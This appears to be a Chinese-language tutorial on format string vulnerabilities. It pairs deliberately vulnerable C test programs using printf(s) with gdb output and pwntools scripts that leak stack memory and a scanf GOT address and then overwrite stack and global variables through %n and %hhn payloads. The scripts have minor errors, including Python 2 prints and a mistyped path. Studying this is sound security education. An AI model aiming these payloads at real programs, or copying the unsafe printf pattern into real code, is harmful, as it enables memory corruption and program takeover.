[原理介绍](#header-n3)  
 [格式化字符串函数](#header-n6)  
 [格式化字符串](#header-n50)  
 [格式化字符串漏洞原理](#header-n69)  
[格式化字符串漏洞利用](#header-n98)  
 [程序崩溃](#header-n99)  
 [泄露内存](#header-n103)  
 [泄露栈内存](#header-n120)  
 [获取栈对应字符串](#header-n138)  
 [泄露任意地址内存](#header-n154)  
 [覆盖内存](#header-n173)  
 [覆盖栈内存](#header-n191)  
 [确定覆盖地址](#header-n192)  
 [确定相对偏移](#header-n194)  
 [进行覆盖](#header-n198)  
 [任意地址覆盖](#header-n206)  
 [覆盖小数字](#header-n207)  
 [覆盖大数字](#header-n239)

# 原理介绍

[INPUT]: printf("Color %s,number %d,fload %4.2f","red", 123456,3.14);

[OUTPUT]:Color red,number 123456,float 3.14

## 格式化字符串函数

常见的有：

* 输入  
  scanf
* 输出

|  |  |
| --- | --- |
| 函数 | 基本介绍 |
| printf | 输出到stdout |
| fprintf | 输出到指定FILE流 |
| vprintf | 根据参数列表格式化输出到stdout |
| vfprintf | 根据参数列表格式化输出到指定 FILE 流 |
| sprintf | 输出到字符串 |
| snprintf | 输出指定字节数到字符串 |
| vsprintf | 根据参数列表格式化输出到字符串 |
| vsnprintf | 根据参数列表格式化输出指定字节到字符串 |
| setproctitle | 设置 argv |
| syslog | 输出日志 |
| err,verr,warn,vwarn等 |  |

## 格式化字符串

基本格式：

%[parameter][flags][field width][.precision][length]type

具体可参考维基百科https://zh.wikipedia.org/wiki/%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2

* parameter：n$，获取指定参数
* flag
* field width：输出的最小宽度
* precision：输出的最大长度
* length：输出的长度，hh：输出一个字节；h：输出一个双字节
* type：i，u，d，x，o，c，p等，%：不接受任何flag和width

## 格式化字符串漏洞原理

[INPUT]: printf("Color %s,number %d,fload %4.2f","red", 123456,3.14);

[OUTPUT]:Color red,number 123456,float 3.14

对于上，在进图printf函数之前，栈上的布局由高地址到低地址如下：

some\_value #这里我们假设此值未知
  
3.14
  
123456
  
addr of "red"
  
addr of format string: Color %s...

进入printf之后，函数首先获取第一个参数，一个一个读取，会遇到两种情况

* 当前字符不是%，直接输出到相应标准输出
* 当前字符是%
  + 如果没有字符，报错
  + 如果下一个字符是%，输出%
  + 否则根据相应的字符，获取相应的参数，对其进行解析并输出

有以下测试代码：

printf("Color %s, Number %d, Float %4.2f");

我们并没有提供参数，那么程序会如何运行呢？程序照样会运行，会将栈上存储格式化字符串地址上面的三个变量分别解析为

1. 解析其地址对应的字符串
2. 解析其内容对应的整形值
3. 解析其内容对应的浮点值

对于 2，3 来说倒还无妨，但是对于对于 1 来说，如果提供了一个不可访问地址，比如 0，那么程序就会因此而崩溃。

这基本就是格式化字符串漏洞的基本原理了。

# 格式化字符串漏洞利用

## 程序崩溃

通常来说，利用格式化字符串漏洞使得程序崩溃是最为简单的利用方式，因为我们只需要输入若干个 %s 即可

%s%s%s%s%s%s%s%s%s%s%s

这是因为栈上不可能每个值都对应了合法的地址，所以总是会有某个地址可以使得程序崩溃。这一利用，虽然攻击者本身似乎并不能控制程序，但是这样却可以造成程序不可用。比如说，如果远程服务有一个格式化字符串漏洞，那么我们就可以攻击其可用性，使服务崩溃，进而使得用户不能够访问。

## 泄露内存

利用格式化字符串漏洞，我们还可以获取我们所想要输出的内容。一般会有如下几种操作

* 泄露栈内存
  + 获取某个变量的值
  + 获取某个变量对应地址的内存
* 泄露任意地址内存
  + 利用got表得到libc函数地址，获取 libc，进而获取其它 libc 函数地址
  + 盲打，dump整个程序，获取有用信息

### 泄露栈内存

测试代码：

#include <stdio.h>
  
int main()
  
{
  
 char s[100];
  
 int a = 1, b = 0x222222, c = -1;
  
 scanf("%s", s);
  
 printf("%08x.%08x.%08x.%s\n", a, b, c, s);
  
 printf(s);
  
 return 0;
  
}
  
   
gcc -m32 -fno-stack-protector -no-pie 1.c
  
   
如果报错：
  
/usr/include/stdio.h:27:10: fatal error: bits/libc-header-start.h: No such file or directory
  
 27 | #include <bits/libc-header-start.h>
  
 | ^~~~~~~~~~~~~~~~~~~~~~~~~~
  
compilation terminated.
  
   
原因是环境没有完善造成的
  
sudo apt-get install gcc-multilib

在printf处下断点，r起来，输入%08x.%08x.%08x

看栈：

[-------------------------------------code-------------------------------------]  
 0xf7e1fddb <fprintf+27>: add esp,0x1c  
 0xf7e1fdde <fprintf+30>: ret   
 0xf7e1fddf: nop  
=> 0xf7e1fde0 <printf>: endbr32   
 0xf7e1fde4 <printf+4>: call 0xf7f1127d  
 0xf7e1fde9 <printf+9>: add eax,0x193217  
 0xf7e1fdee <printf+14>: sub esp,0xc  
 0xf7e1fdf1 <printf+17>: lea edx,[esp+0x14]  
[------------------------------------stack-------------------------------------]  
0000| 0xffffd13c --> 0x804921e (<main+104>: add esp,0x20)  
0004| 0xffffd140 --> 0x804a00b ("%08x.%08x.%08x.%s\n")  
0008| 0xffffd144 --> 0x1   
0012| 0xffffd148 --> 0x222222 ('"""')  
0016| 0xffffd14c --> 0xffffffff   
0020| 0xffffd150 --> 0xffffd160 ("%08x.%08x.%08x")  
0024| 0xffffd154 --> 0xffffd160 ("%08x.%08x.%08x")  
0028| 0xffffd158 --> 0xf7ffd990 --> 0x0

栈中一地个为返回地址，第二个为格式化字符串的地址，后续为a，b，c，第6个是我们输入的格式化字符串的地址，继续运行：

gdb-peda$ c  
Continuing.  
00000001.00222222.ffffffff.%08x.%08x.%08x

由于我们输入的字符串%08x.%08x.%08x，程序会将栈上之后的数值分别为第一，第二第三个参数按照int型进行解析，并输出，继续运行：

gdb-peda$ c  
Continuing.  
ffffd160.f7ffd990.080491d1[Inferior 1 (process 5931) exited normally]

同样，%p也可。

这里需要注意的是，并不是每次得到的结果都一样 ，因为栈上的数据会因为每次分配的内存页不同而有所不同，这是因为栈是不对内存页做初始化的。

**直接获取栈中被视为n+1个参数的值：**

%n$x

gdb调一下：

gdb-peda$ c  
Continuing.  
00000001.00222222.ffffffff.%3$x  
[----------------------------------registers-----------------------------------]  
EAX: 0xffffd160 ("%3$x")  
EBX: 0x804c000 --> 0x804bf14 --> 0x1   
ECX: 0x0   
EDX: 0x804a01d --> 0x1000000   
ESI: 0xf7fb3000 --> 0x1e6d6c   
EDI: 0xf7fb3000 --> 0x1e6d6c   
EBP: 0xffffd1d8 --> 0x0   
ESP: 0xffffd14c --> 0x804922d (<main+119>: add esp,0x10)  
EIP: 0xf7e1fde0 (<printf>: endbr32)  
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)  
[-------------------------------------code-------------------------------------]  
 0xf7e1fddb <fprintf+27>: add esp,0x1c  
 0xf7e1fdde <fprintf+30>: ret   
 0xf7e1fddf: nop  
=> 0xf7e1fde0 <printf>: endbr32   
 0xf7e1fde4 <printf+4>: call 0xf7f1127d  
 0xf7e1fde9 <printf+9>: add eax,0x193217  
 0xf7e1fdee <printf+14>: sub esp,0xc  
 0xf7e1fdf1 <printf+17>: lea edx,[esp+0x14]  
[------------------------------------stack-------------------------------------]  
0000| 0xffffd14c --> 0x804922d (<main+119>: add esp,0x10)  
0004| 0xffffd150 --> 0xffffd160 ("%3$x")  
0008| 0xffffd154 --> 0xffffd160 ("%3$x")  
0012| 0xffffd158 --> 0xf7ffd990 --> 0x0   
0016| 0xffffd15c --> 0x80491d1 (<main+27>: add ebx,0x2e2f)  
0020| 0xffffd160 ("%3$x")  
0024| 0xffffd164 --> 0x0   
0028| 0xffffd168 --> 0xffffd1c8 --> 0x222222 ('"""')  
[------------------------------------------------------------------------------]  
Legend: code, data, rodata, value  
  
Breakpoint 1, 0xf7e1fde0 in printf () from /lib32/libc.so.6  
gdb-peda$ c  
Continuing.  
80491d1[Inferior 1 (process 6012) exited normally]

可以看出，确实得到了 0x80491d1

### 获取栈对应字符串

还可以获得栈对应的字符串，%s，还是上面的程序，gdb调试：

gdb-peda$ r  
Starting program: /home/yutao/Desktop/a.out   
%s  
[-------------------------------------code-------------------------------------]  
 0xf7e1fddb <fprintf+27>: add esp,0x1c  
 0xf7e1fdde <fprintf+30>: ret   
 0xf7e1fddf: nop  
=> 0xf7e1fde0 <printf>: endbr32   
 0xf7e1fde4 <printf+4>: call 0xf7f1127d  
 0xf7e1fde9 <printf+9>: add eax,0x193217  
 0xf7e1fdee <printf+14>: sub esp,0xc  
 0xf7e1fdf1 <printf+17>: lea edx,[esp+0x14]  
[------------------------------------stack-------------------------------------]  
0000| 0xffffd13c --> 0x804921e (<main+104>: add esp,0x20)  
0004| 0xffffd140 --> 0x804a00b ("%08x.%08x.%08x.%s\n")  
0008| 0xffffd144 --> 0x1   
0012| 0xffffd148 --> 0x222222 ('"""')  
0016| 0xffffd14c --> 0xffffffff   
0020| 0xffffd150 --> 0xffffd160 --> 0x8007325   
0024| 0xffffd154 --> 0xffffd160 --> 0x8007325   
0028| 0xffffd158 --> 0xf7ffd990 --> 0x0   
[------------------------------------------------------------------------------]  
Legend: code, data, rodata, value  
  
Breakpoint 1, 0xf7e1fde0 in printf () from /lib32/libc.so.6  
gdb-peda$ c  
Continuing.  
00000001.00222222.ffffffff.%s  
[-------------------------------------code-------------------------------------]  
 0xf7e1fddb <fprintf+27>: add esp,0x1c  
 0xf7e1fdde <fprintf+30>: ret   
 0xf7e1fddf: nop  
=> 0xf7e1fde0 <printf>: endbr32   
 0xf7e1fde4 <printf+4>: call 0xf7f1127d  
 0xf7e1fde9 <printf+9>: add eax,0x193217  
 0xf7e1fdee <printf+14>: sub esp,0xc  
 0xf7e1fdf1 <printf+17>: lea edx,[esp+0x14]  
[------------------------------------stack-------------------------------------]  
0000| 0xffffd14c --> 0x804922d (<main+119>: add esp,0x10)  
0004| 0xffffd150 --> 0xffffd160 --> 0x8007325   
0008| 0xffffd154 --> 0xffffd160 --> 0x8007325   
0012| 0xffffd158 --> 0xf7ffd990 --> 0x0   
0016| 0xffffd15c --> 0x80491d1 (<main+27>: add ebx,0x2e2f)  
0020| 0xffffd160 --> 0x8007325   
0024| 0xffffd164 --> 0xc ('\x0c')  
0028| 0xffffd168 --> 0xffffd1c8 --> 0x222222 ('"""')  
[------------------------------------------------------------------------------]  
Legend: code, data, rodata, value  
  
Breakpoint 1, 0xf7e1fde0 in printf () from /lib32/libc.so.6  
gdb-peda$ c  
Continuing.  
%s[Inferior 1 (process 9526) exited normally]

可以看出，第二次printf时，将0x8007325 处视为字符串变量并进行了打印。

**当然，并不是所有这样的都会正常运行，如果对应的变量不能够被解析为字符串地址，那么，程序就会直接崩溃。**

yutao@ubuntu:~/Desktop$ ./a.out   
%4$s   
00000001.00222222.ffffffff.%4$s  
Segmentation fault (core dumped)

小技巧总结：

1. 利用 %x 来获取对应栈的内存，但建议使用 %p，可以不用考虑位数的区别。
2. 利用 %s 来获取变量所对应地址的内容，只不过有零截断。
3. 利用 %order$x 来获取指定参数的值，利用 %order$s 来获取指定参数对应地址的内容。

## 泄露任意地址内存

我们想要泄露某一个 libc 函数的 got 表内容，从而得到其地址，进而获取 libc 版本以及其他函数的地址，能不能这样做呢？当然可以。

假设我们知道格式化字符串在输出调用时是第几个参数，这里假设该格式化字符串相对函数调用为第k个参数，可以用如下的方式来获取某个指定地址addr的内容。

addr%k$s

下面就是如何确定该格式化字符串为第几个参数的问题了，我们可以通过如下方式确定

[tag]%p%p%p%p%p%p...

一般来说，我们会重复某个字符的机器字长来作为 tag，后面会跟上若干个 %p 来输出栈上的内容，如果内容与我们前面的 tag 重复了，那么我们就可以有很大把握说明该地址就是格式化字符串的地址，之所以说是有很大把握，这是因为不排除栈上有一些临时变量也是该数值。一般情况下，极其少见，我们也可以更换其他字符进行尝试，进行再次确认。这里我们利用字符'A'作为特定字符，同时还是利用之前编译好的程序，如下

yutao@ubuntu:~/Desktop$ ./a.out   
AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p  
00000001.00222222.ffffffff.AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p  
AAAA0xff96a4500xf7f1f9900x80491d10x414141410x702570250x702570250x702570250x702570

由 0x41414141 处所在的位置可以看出我们的格式化字符串的起始地址正好是输出函数的第 5 个参数，是格式化字符串的第 4 个参数。我们可以来测试一下:

yutao@ubuntu:~/Desktop$ ./a.out   
%4$s  
00000001.00222222.ffffffff.%4$s  
Segmentation fault (core dumped)

程序崩了，这是因为我们试图将该格式化字符串所对应的值作为地址进行解析，但是显然该值没有办法作为一个合法的地址被解析，所以程序就崩溃了。

gdb-peda$ r  
Starting program: /home/yutao/Desktop/a.out   
%4$s  
[----------------------------------registers-----------------------------------]  
EAX: 0x804a00b ("%08x.%08x.%08x.%s\n")  
EBX: 0x804c000 --> 0x804bf14 --> 0x1   
ECX: 0x0   
EDX: 0xf7fb3000 --> 0x1e6d6c   
ESI: 0xf7fb3000 --> 0x1e6d6c   
EDI: 0xf7fb3000 --> 0x1e6d6c   
EBP: 0xffffd1d8 --> 0x0   
ESP: 0xffffd13c --> 0x804921e (<main+104>: add esp,0x20)  
EIP: 0xf7e1fde0 (<printf>: endbr32)  
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)  
[-------------------------------------code-------------------------------------]  
 0xf7e1fddb <fprintf+27>: add esp,0x1c  
 0xf7e1fdde <fprintf+30>: ret   
 0xf7e1fddf: nop  
=> 0xf7e1fde0 <printf>: endbr32   
 0xf7e1fde4 <printf+4>: call 0xf7f1127d  
 0xf7e1fde9 <printf+9>: add eax,0x193217  
 0xf7e1fdee <printf+14>: sub esp,0xc  
 0xf7e1fdf1 <printf+17>: lea edx,[esp+0x14]  
[------------------------------------stack-------------------------------------]  
0000| 0xffffd13c --> 0x804921e (<main+104>: add esp,0x20)  
0004| 0xffffd140 --> 0x804a00b ("%08x.%08x.%08x.%s\n")  
0008| 0xffffd144 --> 0x1   
0012| 0xffffd148 --> 0x222222 ('"""')  
0016| 0xffffd14c --> 0xffffffff   
0020| 0xffffd150 --> 0xffffd160 ("%4$s")  
0024| 0xffffd154 --> 0xffffd160 ("%4$s")  
0028| 0xffffd158 --> 0xf7ffd990 --> 0x0   
[------------------------------------------------------------------------------]  
Legend: code, data, rodata, value  
  
Breakpoint 1, 0xf7e1fde0 in printf () from /lib32/libc.so.6  
gdb-peda$ x/ 0xffffd160  
0xffffd160: 0x73243425  
gdb-peda$ x/s 0xffffd160  
0xffffd160: "%4$s"  
gdb-peda$ x/x 0xffffd160  
0xffffd160: 0x25  
gdb-peda$ x/ 0x73243425  
0x73243425: Cannot access memory at address 0x73243425  
gdb-peda$ vmmap  
Start End Perm Name  
0x08048000 0x08049000 r--p /home/yutao/Desktop/a.out  
0x08049000 0x0804a000 r-xp /home/yutao/Desktop/a.out  
0x0804a000 0x0804b000 r--p /home/yutao/Desktop/a.out  
0x0804b000 0x0804c000 r--p /home/yutao/Desktop/a.out  
0x0804c000 0x0804d000 rw-p /home/yutao/Desktop/a.out  
0x0804d000 0x0806f000 rw-p [heap]  
0xf7dcc000 0xf7de9000 r--p /usr/lib32/libc-2.31.so  
0xf7de9000 0xf7f41000 r-xp /usr/lib32/libc-2.31.so  
0xf7f41000 0xf7fb1000 r--p /usr/lib32/libc-2.31.so  
0xf7fb1000 0xf7fb3000 r--p /usr/lib32/libc-2.31.so  
0xf7fb3000 0xf7fb5000 rw-p /usr/lib32/libc-2.31.so  
0xf7fb5000 0xf7fb7000 rw-p mapped  
0xf7fc9000 0xf7fcb000 rw-p mapped  
0xf7fcb000 0xf7fcf000 r--p [vvar]  
0xf7fcf000 0xf7fd1000 r-xp [vdso]  
0xf7fd1000 0xf7fd2000 r--p /usr/lib32/ld-2.31.so  
0xf7fd2000 0xf7ff0000 r-xp /usr/lib32/ld-2.31.so  
0xf7ff0000 0xf7ffb000 r--p /usr/lib32/ld-2.31.so  
0xf7ffc000 0xf7ffd000 r--p /usr/lib32/ld-2.31.so  
0xf7ffd000 0xf7ffe000 rw-p /usr/lib32/ld-2.31.so  
0xfffdd000 0xffffe000 rw-p [stack]

显然 0xffffd160 处所对应的格式化字符串所对应的变量值 0x73243425并不能够被改程序访问，所以程序就自然崩溃了。

那么设置一个可访问的地址呢？比如scanf@got，结果会怎样呢？应该是输出scanf的地址了。

首先，获取scanf@got的地址：

from pwn import \*  
sh = process('./a.out')  
elf = ELF('./a.out')  
\_\_isoc99\_scanf\_got = elf.got['\_\_isoc99\_scanf']  
print hex(\_\_isoc99\_scanf\_got)  
payload = p32(\_\_isoc99\_scanf\_got) + b'%4$s'  
print payload  
gdb.attach(sh)  
sh.sendline(payload)  
sh.recvuntil('%4$s\n')  
print hex(u32(sh.recv()[4:8])) # remove the first bytes of \_\_isoc99\_scanf@got  
sh.interactive()

其中，我们使用 gdb.attach(sh) 来进行调试。

yutao@ubuntu:~/Desktop$ python3 1.py   
[+] Starting local process './a.out': pid 10143  
[\*] '/home/yutao/Desktop/a.out'  
 Arch: i386-32-little  
 RELRO: Partial RELRO  
 Stack: No canary found  
 NX: NX enabled  
 PIE: No PIE (0x8048000)  
0x804c014  
b'\x14\xc0\x04\x08%4$s'  
[\*] running in new terminal: /usr/bin/gdb -q "./a.out" 10143  
[-] Waiting for debugger: debugger exited! (maybe check /proc/sys/kernel/yama/ptrace\_scope)  
0xf7d76e80  
[\*] Switching to interactive mode  
[\*] Process './a.out' stopped with exit code 0 (pid 10143)  
[\*] Got EOF while reading in interactive

确实得到了scanf的地址。

## 覆盖内存

上面谢了如何利用格式化字符串来泄露栈内存以及任意地址内存，那么有没有可能修改栈上的值呢？甚至修改任意地址变量的内存呢？答案是可行的，只要便令对应的地址科协，就可以利用格式化字符串来修改其对应的数值

%n,不输出字符，，但是可将已经成功成功输出的字符个数写入对应的整型指针参数所指的变量。

通过这个类型参数，再加上一些小技巧，我们就可以达到我们的目的，这里仍然分为两部分，一部分为覆盖栈上的变量，第二部分为覆盖指定地址的变量。

示例程序：

#include <stdio.h>
  
int a = 123, b = 456;
  
int main() {
  
 int c = 789;
  
 char s[100];
  
 printf("%p\n", &c);
  
 scanf("%s", s);
  
 printf(s);
  
 if (c == 16) {
  
 puts("modified c.");
  
 } else if (a == 2) {
  
 puts("modified a for a small number.");
  
 } else if (b == 0x12345678) {
  
 puts("modified b for a big number!");
  
 }
  
 return 0;
  
}

而无论是覆盖哪个地址的变量，我们基本上都是构造类似如下的 payload

...[overwrite addr]....%[overwrite offset]$n

其中... 表示我们的填充内容，overwrite addr 表示我们所要覆盖的地址，overwrite offset 地址表示我们所要覆盖的地址存储的位置为输出函数的格式化字符串的第几个参数。所以一般来说，也是如下步骤

* 确定覆盖地址
* 确定相对偏移
* 进行覆盖

### 覆盖栈内存

#### 确定覆盖地址

首先，我们自然是来想办法知道栈变量 c 的地址。由于目前几乎上所有的程序都开启了 aslr 保护，所以栈的地址一直在变，所以我们这里故意输出了 c 变量的地址。

#### 确定相对偏移

接下来，我们来确定一下存储格式化字符串的地址是 printf 将要输出的第几个参数 ()。 这里我们通过之前的泄露栈变量数值的方法来进行操作。

[------------------------------------stack-------------------------------------]
  
0000| 0xffffd14c ("sbUV\bpUVd\321\377\377\002")
  
0004| 0xffffd150 --> 0x56557008 --> 0xa7025 ('%p\n')
  
0008| 0xffffd154 --> 0xffffd164 --> 0x315
  
0012| 0xffffd158 --> 0x2
  
0016| 0xffffd15c ("HbUV4PUV\025\003")
  
0020| 0xffffd160 ("4PUV\025\003")
  
0024| 0xffffd164 --> 0x315
  
0028| 0xffffd168 --> 0xffffd1c8 --> 0xffffd28c --> 0xffffd43d ("SHELL=/bin/bash")
  
[------------------------------------------------------------------------------]

在0xffffd164处存着变量c的数值，0xffffd164相对 printf 函数的格式化字符串参数 0xffffd150的偏移为0x14，即格式化字符串相当于 printf 函数的第 7个参数，相当于格式化字符串的第 6个参数。

#### 进行覆盖

这样，第 6 个参数处的值就是存储变量 c 的地址，我们便可以利用 %n 的特征来修改 c 的值。payload 如下：

[addr of c]%012d%6$n

addr of c的长度为4，故而我们得再输入 12 个字符才可以达到 16 个字符，以便于来修改 c 的值为 16。

#!/usr/bin/python
  
from pwn import \*
  
re = process('./a.out')
  
raw\_addr=re.recvuntil('n',drop=True)
  
c\_addr = int(raw\_addr,16)
  
print hex(c\_addr)
  
payload = p32(c\_addr) +b"%012d" + b'%6$n'
  
print payload
  
re.sendline(payload)
  
print re.recv()
  
re.interactive()

yutao@ubuntu:~/Desktop$ python3 1.py
  
[+] Starting local process './a.out': pid 2992
  
0xff91e254
  
b'T\xe2\x91\xff%012d%6$n'
  
b'T\xe2\x91\xff-00007216552modified c.\n'
  
[\*] Switching to interactive mode
  
[\*] Process './a.out' stopped with exit code 0 (pid 2992)
  
[\*] Got EOF while reading in interactive
  
$
  
[\*] Got EOF while sending in interactive

修改成功！

### 任意地址覆盖

#### 覆盖小数字

首先，我们来考虑一下如何修改 data 段的变量为一个较小的数字，比如说，**小于机器字长的数字**。这里以 2 为例。可能会觉得这其实没有什么区别，可仔细一想，真的没有么？如果我们还是将要覆盖的地址放在最前面，那么将直接占用机器字长个 (4 或 8) 字节。显然，无论之后如何输出，都只会比 4 大。

或许我们可以使用**整形溢出**来修改对应的地址的值，但是这样将面临着我们得一次输出大量的内容。而这，一般情况下，基本都不会攻击成功。[整型溢出大致的理解就是超越整型类型数据的上界/下界，由于整型的模运算特点，越界相当于取模，通过大数越界就可以得到小数据。比如unsigned short上界为65535，假如我们给unsigned short赋值为65538，也许就会得到2]

由于我们想要把2写到对应的地址处，可以这样构造：

aa%k$nxx…

在进行%k$n解析之前，已经输出了2个字符即“aa”，所以这里会把对应偏移下的内存值，作为地址，在这个地址下写入2。

那么k如何确定？地址又怎么放置在s中呢？**其实aa%k就是第6个参数，$nxx其实就是第7个参数，后面我们如果跟上我们要覆盖的地址，那就是第8个参数，所以如果我们这里设置k为8，其实就可以覆盖了**。

aa%8$nxx[addr of 变量a]

a、b 是已初始化的全局变量，不在堆栈中，可直接在ida中得到a的地址。

#!/usr/bin/python
  
from pwn import \*
  
re = process(‘./a.out’)
  
a\_addr = 0x????????
  
payload = "aa"+"%8$n"+"bb"+p32(a\_addr)
  
print payload
  
re.sendline(payload)
  
print re.recv()
  
re.interactive()

#### 覆盖大数字

在x86和x64的体系结构中，变量的存储格式为以小端存储，即最低有效位存储在低地址。举个例子，0x12345678在内存中由低地址到高地址依次为x78x56x34x12。

hh 对于整数类型，printf期待一个从char提升的int尺寸的整型参数。

h 对于整数类型，printf期待一个从short提升的int尺寸的整型参数。

所以说，我们可以**利用%hhn向某个地址写入单字节[而不是4字节4字节的写入，只修改这个地址下的字节,不影响其余3字节]，利用%hn向某个地址写入双字节**。

b变量作为已初始化的全局变量，同样位于.data节中，利用ida看一下，可以发现地址为0x0804A02C[这是变量b的起始地址,实际b作为int类型，占据的地址为0x0804A02C-0x0804A02F]

接下来，按照如下方式进行覆盖，

0x0804A02C -> x78

0x0804A02D -> x56

0x0804A02E -> x34

0x0804A02F -> x12

由于此前通过调试确定，我们的字符串的偏移为6，所以我们可以确定我们的payload基本是这个样子的：

p32(0x0804A02C)+p32(0x0804A02D)+p32(0x0804A02E)+p32(0x0804A02F)+padding1+’%6$n’+padding2+’%7$n’+padding3+’%8$n’+padding4+’%9$n’

以上未明确的padding,按照根据需要填充的数据值进行修改，使得在进行解析%k$n之前，输出的字符串数[用paddings来控制]等于这个地址要写入的数值。

这里有一个通用的写入大数的脚本:

//格式化字符串漏洞——覆盖4字节的大数字[大数字中的各个字节很小也可以]
  
   
def fmt(prev, word, index):
  
 if prev < word:
  
 result = word - prev #此前已经输出prev个字符，现在补充word-prev个字符，相当于总的输出了word个字符
  
 fmtstr = "%" + str(result) + "c" #解析栈中对应值，输出result个字符
  
 elif prev == word:
  
 result = 0
  
 else: #word<prev
  
 result = 256 + word - prev #如果这个地址要写入的数字小于已经输出字符数，
  
 #那么就+256=0x0100,让他成为一个2字节大小的数据，实际%hhn只会写入低位的那个字节。
  
 #因为此前已经输出了prev个字符，这里是做字符补充，所以最终相当于输出%(256+word)c，256=0x0100高位被舍去，剩下低字节的word。
  
 fmtstr = "%" + str(result) + "c"
  
 fmtstr += "%" + str(index) + "$hhn"
  
 return fmtstr
  
def fmt\_str(offset, size, addr, target):
  
 payload = ""
  
 for i in range(4):
  
 if size == 4:
  
 payload += p32(addr + i)
  
 else:
  
 payload += p64(addr + i)
  
 prev = len(payload)
  
 for i in range(4):
  
 payload += fmt(prev, (target >> i \* 8) & 0xff, offset + i) #(target >> i \* 8) & 0xff获取大数字的每一个字节
  
 prev = (target >> i \* 8) & 0xff
  
 return payload
  
   
payload = fmt\_str(6,4,0x0804A02C,0x12345678)
  
# 6：字符串参数首个待写地址的偏移 ； 4：32位，4字节机器 ；写入变量的起始地址【低地址】 ；写入变量地址的数据

参数含义：

* offset表示要覆盖的地址最初的偏移
* size表示机器字长
* addr表示将要覆盖的地址。
* target表示我们要覆盖为的目的变量值。

最终修改b变量为0x12345678的脚本如下：

#!/usr/bin/python
  
   
from pwn import \*
  
def fmt(prev,word,index):
  
 if(prev < word):
  
 result = word-prev
  
 fmtstr = "%" + str(result) + "c"
  
 elif(prev == word):
  
 result = 0
  
 else:
  
 result = 256 + word-prev
  
 fmtstr = "%" + str(result) + "c"
  
 fmtstr += "%" + str(index) + "$hhn"
  
 return fmtstr
  
   
def fmt\_str(offset,size,addr,target):
  
 payload = ""
  
 for i in range(4):
  
 if(size ==4):
  
 payload += p32(addr + i)
  
 else:
  
 payload += p32(addr + i)
  
 prev = len(payload)
  
 for i in range(4):
  
 payload += fmt(prev, (target >> i \* 8)&0xff, offset + i)
  
 prev = (target >> i \* 8)&0xff
  
 return payload
  
   
re = process('./a,out')
  
payload = fmt\_str(6,4,0x0804A02C,0x12345678)
  
print payload
  
   
re.sendline(payload)
  
print re.recv()
  
   
re.interactive()

当然，我们也可以利用%n分别对每个地址进行写入[这样就是4字节写入]，也可以得到对应的答案，但是由于我们写入的变量都只会影响由其开始的四个字节，所以最后一个变量写完之后，我们可能会修改之后的三个字节，如果这三个字节比较重要的话，程序就有可能因此崩溃。而**采用%hhn**则不会有这样的问题，因为这样**只会修改相应地址的一个字节**。